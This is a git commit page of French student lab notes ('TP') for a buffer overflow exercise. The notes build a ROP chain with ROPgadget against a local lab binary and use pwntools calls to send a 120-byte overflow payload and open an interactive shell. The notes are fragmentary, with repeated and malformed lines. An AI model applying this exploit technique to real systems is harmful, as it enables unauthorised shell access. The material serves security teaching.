Mise à jour de 'TP.txt'

rop2
Lucas EVARD 2 years ago
parent e6cf606ab4
commit 0507fff02b

@ -10,12 +10,15 @@ docker run --rm -it secu
python3 ROPgadget/ROPgadget.py --binary Bufferoverflow/binaire --ropchain
dans un fichier python :
p = b'A' * 120 => buffer overflow
p += pack('<Q', 0x0000000000495f90) # add rax, 1 ; ret => p += p64(0x0000000000401fa4) # syscall : on convertit en p64 car la convertion est nul
dans un fichier python :
r.process("./binaire") => on execute le binaire
r.sendline(p) => on met dans le buffer toutes les adresses et l'attaque Bufferoverflow
r.interactive() => on met a disposition le shell interactif sur le terminal
on copie colle la partie 5 avec en plus:
p = b'A' * 120 => buffer overflow
p += pack('<Q', 0x0000000000495f90) # add rax, 1 ; ret => p += p64(0x0000000000401fa4) # syscall : on convertit en p64 car la convertion est nul
r.process("./binaire") => on execute le binaire
r.sendline(p) => on met dans le buffer toutes les adresses et l'attaque Bufferoverflow
r.interactive() => on met a disposition le shell interactif sur le terminal
Loading…
Cancel
Save